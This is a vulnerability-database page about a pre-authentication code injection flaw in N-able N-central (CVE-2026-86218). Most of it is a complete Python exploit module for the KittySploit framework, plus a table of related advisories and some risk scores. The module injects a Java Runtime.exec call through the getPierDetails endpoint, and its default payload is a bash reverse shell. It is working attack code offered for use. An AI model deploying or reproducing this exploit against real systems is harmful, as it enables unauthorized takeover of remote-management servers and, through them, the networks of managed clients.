N-able N-central Pre-Auth RCE (CVE-2026-86218)
| Reporter | Title | Published | Views | Family All 24 |
|---|---|---|---|---|
| Exploit for Static Code Injection in N-Able N-Central | 12 Sep 202611:01 | – | githubexploit | |
| Exploit for Static Code Injection in N-Able N-Central | 23 Sep 202612:32 | – | githubexploit | |
| CVE-2026-86218 | 6 Sep 202604:00 | – | circl | |
| N-able N-central Static Code Injection Vulnerability | 8 Sep 202600:00 | – | cisa_kev | |
| CVE-2026-86218 | 6 Sep 202602:15 | – | cve | |
| CVE-2026-86218 pre-authentication remote code execution | 6 Sep 202602:15 | – | cvelist | |
| EUVD-2026-72041 | 6 Sep 202602:15 | – | euvd | |
| CVE-2026-86218 | 12 Oct 202612:10 | – | kitploit | |
| CVE-2026-86218-N-central-IOC-Toolkit | 12 Sep 202615:07 | – | kitploit | |
| CVE-2026-86218 | 14 Oct 202617:40 | – | kitploit |
10
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""N-able N-central pre-auth static code injection RCE (CVE-2026-86218)."""
import urllib.parse
from kittysploit import *
from lib.protocols.http.http_client import Http_client
class Module(Exploit, Http_client):
__info__ = {
'name': 'N-able N-central Pre-Auth RCE (CVE-2026-86218)',
'description': (
'Exploits CVE-2026-86218 in N-able N-central builds before 2026.3.1.14: '
'pre-authentication static code injection via /remoteControlAction.do '
'getPierDetails allows arbitrary Java code execution on the N-central server.'
),
'author': ['KittySploit Team'],
'cve': ['CVE-2026-86218'],
'platform': Platform.MULTI,
'arch': [Arch.CMD],
'payload': {
'default': 'payloads/singles/cmd/unix/bash_reverse_tcp',
'platform': Platform.UNIX,
'category': PayloadCategory.CMD,
},
'references': [
'https://nvd.nist.gov/vuln/detail/CVE-2026-86218',
'https://status.n-able.com/2026/09/06/n-central-2026-3-hotfix-4-cve-2026-86218/',
],
'tags': ['n-able', 'ncentral', 'rmm', 'msp', 'pre-auth', 'code-injection', 'rce', 'kev'],
'agent': {
'risk': 'critical',
'effects': ['active_exploitation', 'remote_code_execution'],
'expected_requests': 3,
'reversible': False,
'approval_required': True,
'produces': ['exploit_paths', 'rce'],
'chain': {
'suggested_followups': ['scanner/http/nable_ncentral_cve_2026_86218_detect'],
},
},
}
probe_path = OptString(
'/remoteControlAction.do',
'N-central remoteControlAction endpoint',
required=False,
)
appliance_id = OptString('1', 'Appliance/pier ID for getPierDetails probe', required=False)
command = OptString('', 'Command instead of payload', required=False)
injection_param = OptString(
'pierDetails',
'Parameter name carrying static code injection payload',
required=False,
advanced=True,
)
def _ncentral_present(self) -> bool:
r = self.http_request(method='GET', path='/login', allow_redirects=False)
if not r:
return False
body = (r.text or '').lower()
return 'n-central' in body or 'class="ncentral"' in body
def _build_injection(self, cmd: str) -> str:
escaped = cmd.replace('"', '\\"').replace("'", "\\'")
return (
'"; Runtime.getRuntime().exec(new String[]{"bash","-c","'
f'{escaped}'
'"}); //'
)
def _exploit_params(self, cmd: str) -> dict:
param = str(self.injection_param or 'pierDetails').strip() or 'pierDetails'
return {
'method': 'getPierDetails',
'applianceId': str(self.appliance_id or '1'),
param: self._build_injection(cmd),
}
def check(self):
if not self._ncentral_present():
return {'vulnerable': False, 'reason': 'N-central login panel not detected', 'confidence': 'high'}
probe = self.http_request(
method='GET',
path='/remoteControlAction.do?method=getPierDetails',
allow_redirects=False,
)
if not probe:
return {'vulnerable': False, 'reason': 'getPierDetails endpoint unreachable', 'confidence': 'low'}
location = str(probe.headers.get('Location') or '').lower()
if 'login' in location:
return {'vulnerable': False, 'reason': 'Endpoint redirects to login (patched?)', 'confidence': 'high'}
if int(probe.status_code or 0) in (200, 400, 500):
return {'vulnerable': True, 'reason': 'Pre-auth getPierDetails surface exposed', 'confidence': 'high'}
return {'vulnerable': True, 'reason': 'N-central detected — injection may succeed', 'confidence': 'medium'}
def run(self):
cmd = str(self.command or '').strip() or str(self.payload or '').strip()
if not cmd:
print_error('Set a payload or command option')
return False
print_status('CVE-2026-86218 — N-central static code injection')
chk = self.check()
if not chk.get('vulnerable'):
print_error(chk.get('reason', 'Target not vulnerable'))
self.not_vulnerable()
return False
path = str(self.probe_path or '/remoteControlAction.do')
params = self._exploit_params(cmd)
query = urllib.parse.urlencode(params)
print_status(f'GET {path}?{query[:120]}...')
r = self.http_request(method='GET', path=f'{path}?{query}', allow_redirects=False)
if not r:
print_status('Retrying as POST...')
r = self.http_request(
method='POST',
path=path,
headers={'Content-Type': 'application/x-www-form-urlencoded'},
data=params,
allow_redirects=False,
)
if r and int(r.status_code or 0) in (200, 302, 500):
print_success('Code injection payload delivered — check listener')
self.vulnerable()
return True
print_error(f'Injection failed (HTTP {getattr(r, "status_code", "?")})')
return False
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
05 Oct 2026 14:20Current
6.8Medium risk
Vulners AI Score6.8
CVSS 3.19.8
CVSS 410
EPSS0.14509
SSVC